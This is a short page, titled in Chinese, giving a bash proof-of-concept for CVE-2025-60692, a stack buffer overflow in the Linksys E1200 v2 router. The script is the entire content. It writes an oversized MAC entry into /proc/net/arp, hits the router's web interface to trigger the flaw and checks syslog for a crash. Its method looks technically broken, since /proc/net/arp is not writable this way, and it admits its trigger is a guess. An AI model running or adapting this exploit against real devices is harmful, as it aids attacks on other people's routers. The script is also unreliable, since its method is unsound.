CVE-2025-60692 Cisco Linksys E1200 v2 栈缓冲区溢出漏洞

#!/bin/bash # CVE-2025-60692 PoC - Linksys E1200 v2 Stack Buffer Overflow # This PoC demonstrates the vulnerability by crafting a malicious /proc/net/arp entry # Create a malicious arp entry with oversized MAC address field # The buffer is only 50 bytes but %100s allows reading up to 100 bytes MALICIOUS_MAC=$(python3 -c "print('A'*100)") MALICIOUS_IP="192.168.1.100" # Backup original /proc/net/arp cp /proc/net/arp /tmp/arp_backup 2>/dev/null || true # Attempt to write malicious entry (requires root/admin privileges on the device) echo "$MALICIOUS_IP 0x1 0x2 $MALICIOUS_MAC * * *" > /proc/net/arp # Trigger the vulnerable function # This would typically be called by some network service curl http://192.168.1.1/ > /dev/null 2>&1 # Check if process crashed grep -i "segfault\|core dump" /var/log/syslog && echo "Vulnerability triggered!" # Restore backup cp /tmp/arp_backup /proc/net/arp 2>/dev/null || true echo "PoC execution completed"